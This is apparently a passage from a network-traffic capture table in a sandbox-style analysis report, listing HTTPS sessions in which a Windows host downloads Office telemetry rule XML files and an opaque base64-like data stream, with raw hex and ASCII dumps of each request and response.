2024-11-22 03:12:54 UTC	1369	IN	Data Raw: 33 66 38 39 0d 0a 70 79 72 59 48 35 47 58 67 4c 7a 70 56 63 65 47 47 65 58 2b 39 7a 30 44 2b 47 52 6e 4d 51 50 46 7a 44 31 47 67 42 58 65 4e 7a 43 71 43 6a 77 72 34 5a 75 30 38 64 45 59 36 39 38 5a 2f 63 76 4f 64 43 37 56 52 56 63 64 59 74 7a 6c 42 63 62 38 66 64 34 50 4a 50 38 79 30 41 50 74 6e 37 7a 67 77 57 57 62 76 67 33 39 77 76 74 64 4f 2f 68 6b 5a 7a 45 44 78 63 77 39 45 6d 52 4a 31 6c 73 42 35 39 62 6b 48 2b 47 2f 38 61 69 73 58 62 61 36 42 64 44 37 72 68 55 69 79 57 6c 44 4f 56 36 4d 68 51 33 2b 2f 45 6d 79 4f 7a 54 72 4f 74 51 4c 36 62 66 67 68 4f 31 46 37 37 34 74 31 64 62 66 46 43 2f 41 58 58 74 4d 59 36 57 74 75 63 36 49 48 5a 70 61 46 44 73 4f 30 42 2f 46 2b 71 6a 56 36 51 44 54 70 69 6a 67 6d 38 38 52 48 73 6c 5a 57 7a 56 4b 35 4b 45 35 73 Data Ascii: 3f89pyrYH5GXgLzpVceGGeX+9z0D+GRnMQPFzD1GgBXeNzCqCjwr4Zu08dEY698Z/cvOdC7VRVcdYtzlBcb8fd4PJP8y0APtn7zgwWWbvg39wvtdO/hkZzEDxcw9EmRJ1lsB59bkH+G/8aisXba6BdD7rhUiyWlDOV6MhQ3+/EmyOzTrOtQL6bfghO1F774t1dbfFC/AXXtMY6Wtuc6IHZpaFDsO0B/F+qjV6QDTpijgm88RHslZWzVK5KE5s
2024-11-22 03:12:54 UTC	1369	IN	Data Raw: 72 4d 4e 63 36 7a 42 66 35 6b 37 54 67 35 58 48 7a 6b 6a 33 31 79 76 73 5a 5a 76 56 59 5a 68 52 69 32 4d 77 38 6d 37 54 4a 57 73 4f 52 37 33 2f 51 51 74 6d 2f 6d 61 6d 77 5a 64 65 61 42 64 6e 71 68 79 31 6d 77 55 46 6e 4e 55 4c 6b 73 51 33 43 6a 42 32 32 47 78 7a 58 50 73 67 44 79 61 65 34 75 4f 46 34 30 6f 4d 5a 2f 5a 76 4f 64 43 35 5a 55 51 39 45 61 6e 79 42 50 65 62 30 44 66 73 66 59 64 64 6e 36 44 76 6f 6f 73 6d 6f 77 55 6e 37 6e 68 58 46 36 76 73 56 43 73 56 35 52 78 6c 43 6a 4b 6b 56 73 71 52 42 6b 69 4d 30 2f 79 4c 59 47 2b 6d 7a 34 49 58 51 58 4e 4f 6d 65 4f 43 62 7a 35 55 43 6f 64 45 76 5a 47 4b 35 6c 56 6a 36 71 47 53 58 66 68 7a 4c 4d 75 77 6a 38 62 75 45 76 4f 56 6c 78 35 49 46 30 66 72 50 47 54 62 68 61 55 63 4e 55 76 53 68 43 65 36 6b 48 64 Data Ascii: rMNc6zBf5k7Tg5XHzkj31yvsZZvVYZhRi2Mw8m7TJWsOR73/QQtm/mamwZdeaBdnqhy1mwUFnNULksQ3CjB22GxzXPsgDyae4uOF40oMZ/ZvOdC5ZUQ9EanyBPeb0DfsfYddn6DvoosmowUn7nhXF6vsVCsV5RxlCjKkVsqRBkiM0/yLYG+mz4IXQXNOmeOCbz5UCodEvZGK5lVj6qGSXfhzLMuwj8buEvOVlx5IF0frPGTbhaUcNUvShCe6kHd
2024-11-22 03:12:54 UTC	1369	IN	Data Raw: 47 74 67 53 32 4a 71 6f 74 4c 42 6b 73 72 71 46 69 63 37 58 53 57 6f 74 51 57 5a 6f 59 72 6d 56 57 50 71 6f 5a 4a 64 2b 48 4e 73 79 77 42 50 4e 73 34 69 30 33 57 48 6a 71 69 33 56 36 75 73 46 4f 72 45 56 66 78 56 69 2b 4a 55 42 79 76 78 74 67 68 38 74 37 6a 76 6f 4f 37 69 69 79 61 67 56 4f 64 4b 36 5a 4e 6d 66 7a 77 6b 66 2b 44 78 6e 45 56 61 4d 6e 51 48 36 73 46 6d 47 4d 77 44 33 47 75 77 72 7a 61 2b 38 73 4e 56 6c 34 35 49 46 77 64 4c 33 49 54 62 70 52 58 34 73 57 38 53 78 58 50 76 56 56 56 34 72 4a 4d 73 4f 38 42 4f 42 41 32 32 6f 72 46 32 32 75 67 58 51 2b 36 34 56 50 74 56 39 56 7a 6c 43 30 4b 6b 64 30 70 52 70 71 6c 63 59 30 79 62 30 43 2b 32 66 6b 4c 7a 70 4c 63 2b 57 4e 63 48 65 39 77 77 76 77 46 31 37 54 47 4f 6c 72 65 58 32 6a 48 6e 53 49 78 44 Data Ascii: GtgS2JqotLBksrqFic7XSWotQWZoYrmVWPqoZJd+HNsywBPNs4i03WHjqi3V6usFOrEVfxVi+JUByvxtgh8t7jvoO7iiyagVOdK6ZNmfzwkf+DxnEVaMnQH6sFmGMwD3Guwrza+8sNVl45IFwdL3ITbpRX4sW8SxXPvVVV4rJMsO8BOBA22orF22ugXQ+64VPtV9VzlC0Kkd0pRpqlcY0yb0C+2fkLzpLc+WNcHe9wwvwF17TGOlreX2jHnSIxD
2024-11-22 03:12:54 UTC	1369	IN	Data Raw: 74 69 61 71 4c 53 77 5a 4c 4b 36 33 62 6e 6d 30 79 67 6d 58 55 45 4c 4b 55 72 49 67 51 7a 36 79 57 33 7a 48 77 44 65 41 34 6b 6e 37 5a 4f 63 75 4a 6c 56 30 37 6f 39 2f 64 4b 48 4b 52 4c 4e 55 57 63 35 4b 73 44 6c 41 64 61 67 57 59 59 6a 49 4e 38 69 77 53 62 67 6f 37 54 4a 30 41 54 54 43 68 57 6c 30 38 65 4a 52 71 46 42 56 32 6c 4f 38 4a 77 39 68 34 77 77 6c 67 4d 74 37 6d 50 6f 4a 39 32 58 34 4c 7a 56 54 66 75 4f 4f 64 33 75 32 79 6b 2b 36 58 46 66 5a 56 72 34 72 53 58 57 73 45 47 61 4d 7a 54 58 4a 71 45 6d 34 4b 4f 30 79 64 41 45 30 78 4a 31 35 63 37 2b 48 5a 62 56 42 58 6f 6c 35 76 79 42 49 63 72 74 56 65 73 6e 65 65 38 65 32 53 61 34 6f 34 79 51 34 57 6e 50 6d 6a 6e 31 2b 75 4d 56 45 74 46 6c 65 32 56 4b 39 49 56 31 78 72 68 68 68 69 73 30 2b 79 61 67 Data Ascii: tiaqLSwZLK63bnm0ygmXUELKUrIgQz6yW3zHwDeA4kn7ZOcuJlV07o9/dKHKRLNUWc5KsDlAdagWYYjIN8iwSbgo7TJ0ATTChWl08eJRqFBV2lO8Jw9h4wwlgMt7mPoJ92X4LzVTfuOOd3u2yk+6XFfZVr4rSXWsEGaMzTXJqEm4KO0ydAE0xJ15c7+HZbVBXol5vyBIcrtVesnee8e2Sa4o4yQ4WnPmjn1+uMVEtFle2VK9IV1xrhhhis0+yag
2024-11-22 03:12:54 UTC	1369	IN	Data Raw: 6d 6f 30 58 58 6a 74 67 58 5a 78 76 73 70 4d 74 56 68 54 78 55 71 2b 4c 6b 64 79 70 52 68 33 6a 63 30 70 79 62 4d 45 2b 47 44 34 4b 58 51 58 4e 4f 6d 65 4f 43 62 7a 39 30 47 39 57 30 2f 47 56 2f 45 30 41 57 66 74 45 6d 6e 48 6e 33 76 53 71 41 6e 39 61 4f 30 6b 4a 6c 68 38 34 59 78 34 65 4c 6a 50 53 4c 64 54 56 38 4a 65 73 43 5a 4f 66 36 30 51 5a 59 37 56 4e 6f 44 30 53 66 46 77 71 6e 4a 30 62 6e 6a 6c 74 33 74 6f 38 39 6f 46 70 78 64 65 78 78 6a 70 61 30 35 73 6f 42 31 68 68 38 6f 39 79 37 73 49 39 57 6a 71 4b 54 52 63 66 2b 47 41 66 33 4f 35 7a 45 4b 73 58 31 33 5a 57 4c 30 76 44 7a 44 74 45 6e 33 48 6e 33 76 77 75 51 4c 36 61 4f 63 2f 64 45 59 36 39 38 5a 2f 63 76 4f 64 43 37 5a 63 55 73 31 54 73 69 68 42 64 61 63 61 61 6f 33 42 50 63 69 2f 43 66 70 6f Data Ascii: mo0XXjtgXZxvspMtVhTxUq+LkdypRh3jc0pybME+GD4KXQXNOmeOCbz90G9W0/GV/E0AWftEmnHn3vSqAn9aO0kJlh84Yx4eLjPSLdTV8JesCZOf60QZY7VNoD0SfFwqnJ0bnjlt3to89oFpxdexxjpa05soB1hh8o9y7sI9WjqKTRcf+GAf3O5zEKsX13ZWL0vDzDtEn3Hn3vwuQL6aOc/dEY698Z/cvOdC7ZcUs1TsihBdacaao3BPci/Cfpo
2024-11-22 03:12:54 UTC	1369	IN	Data Raw: 52 6b 36 63 59 32 50 72 57 46 45 2b 34 5a 47 63 39 4a 38 58 4d 66 4c 50 5a 41 4e 74 43 58 61 64 2f 30 45 4c 5a 2b 71 6e 4a 6d 46 7a 54 38 78 69 41 2b 39 4d 5a 5a 72 46 46 61 33 56 76 32 46 58 46 65 70 68 6c 6d 69 38 59 38 67 50 52 4a 2b 53 69 79 45 33 52 61 5a 76 7a 4a 61 57 69 2b 31 55 7a 79 58 30 6a 47 56 50 46 6c 44 7a 4b 70 48 6d 6d 43 77 43 75 50 71 42 6e 39 5a 50 78 6d 4d 45 73 30 6f 4d 5a 70 64 62 7a 58 52 62 6b 59 53 4e 31 56 6f 53 68 4b 65 65 45 64 64 49 72 4c 65 34 37 36 48 50 31 6b 37 43 63 68 46 6d 58 34 68 57 35 35 2f 38 31 61 73 31 73 5a 39 42 62 78 4d 77 38 6d 37 53 42 6d 69 63 6b 38 31 71 74 45 31 6d 50 6d 4b 54 68 59 63 36 37 49 4f 48 6a 7a 6e 52 6a 77 46 31 33 61 47 4f 6c 37 48 53 58 34 52 6a 4c 58 6c 53 53 4f 6f 30 6e 67 4b 4c 4a 34 65 Data Ascii: Rk6cY2PrWFE+4ZGc9J8XMfLPZANtCXad/0ELZ+qnJmFzT8xiA+9MZZrFFa3Vv2FXFephlmi8Y8gPRJ+SiyE3RaZvzJaWi+1UzyX0jGVPFlDzKpHmmCwCuPqBn9ZPxmMEs0oMZpdbzXRbkYSN1VoShKeeEddIrLe476HP1k7CchFmX4hW55/81as1sZ9BbxMw8m7SBmick81qtE1mPmKThYc67IOHjznRjwF13aGOl7HSX4RjLXlSSOo0ngKLJ4e
2024-11-22 03:12:54 UTC	1369	IN	Data Raw: 47 49 44 37 30 79 30 61 2f 56 46 66 49 53 71 4d 74 54 47 69 75 55 6c 75 35 34 6a 62 4e 76 77 66 78 56 74 51 4c 50 6b 6c 35 34 59 46 47 51 49 54 55 54 4b 34 56 66 38 68 4f 73 6d 73 42 50 72 56 56 50 63 66 6d 4d 64 43 33 42 76 45 6f 70 47 6f 77 47 53 79 75 6f 33 56 7a 74 73 74 4d 2f 48 5a 54 32 31 57 2b 4c 41 38 77 37 52 6b 6c 33 34 63 36 79 71 6f 45 2b 57 2b 6d 4c 53 35 65 4e 4b 44 47 64 6a 37 72 68 55 71 30 52 31 54 45 58 2f 30 74 51 58 44 74 43 69 75 65 68 79 32 41 34 6c 71 34 4b 50 68 71 62 42 6b 7a 34 49 74 35 66 62 33 47 57 61 78 52 57 74 31 62 39 68 56 78 57 36 41 59 59 49 6e 41 42 66 36 62 41 2b 5a 6c 35 53 31 32 65 58 50 34 68 55 5a 41 68 4e 52 4d 72 68 56 2f 79 45 36 79 61 77 45 2b 74 56 55 39 78 2b 59 78 30 4c 63 47 38 53 72 4b 4c 53 4a 61 4e 4b Data Ascii: GID70y0a/VFfISqMtTGiuUlu54jbNvwfxVtQLPkl54YFGQITUTK4Vf8hOsmsBPrVVPcfmMdC3BvEopGowGSyuo3VztstM/HZT21W+LA8w7Rkl34c6yqoE+W+mLS5eNKDGdj7rhUq0R1TEX/0tQXDtCiuehy2A4lq4KPhqbBkz4It5fb3GWaxRWt1b9hVxW6AYYInABf6bA+Zl5S12eXP4hUZAhNRMrhV/yE6yawE+tVU9x+Yx0LcG8SrKLSJaNK

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:54 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:54 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:54 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7bd1ae59-401e-008c-598c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031254Z-178bfbc474bvjk8shC1NYC83ns00000002ag00000000106p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:54 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:54 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:54 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:54 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: bac9dc3c-701e-005c-2f49-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031254Z-15b8b599d88g5tp8hC1TEByx6w00000000qg00000000mfq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:54 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:54 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:55 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:54 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 1a99a412-f01e-0099-613c-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031254Z-178bfbc474bv7whqhC1NYC1fg400000002dg000000007t22 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:55 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:55 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:55 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:55 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031255Z-178bfbc474bgvl54hC1NYCsfuw00000002eg0000000039ye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:55 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:55 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:55 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:55 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cb244ee5-a01e-003d-2a49-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031255Z-15b8b599d88wn9hhhC1TEBry0g00000000xg000000008vx9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:55 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49892	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:56 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-22 03:12:56 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=135113 Date: Fri, 22 Nov 2024 03:12:56 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:56 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:57 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:56 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 40dbe65e-a01e-0050-4363-3bdb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031256Z-178bfbc474bwlrhlhC1NYCy3kg00000002b000000000fmy2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:57 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:56 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:57 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:56 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 3b38473f-101e-007a-2bbc-3b047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031256Z-15b8b599d889fz52hC1TEB59as00000000y00000000013w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
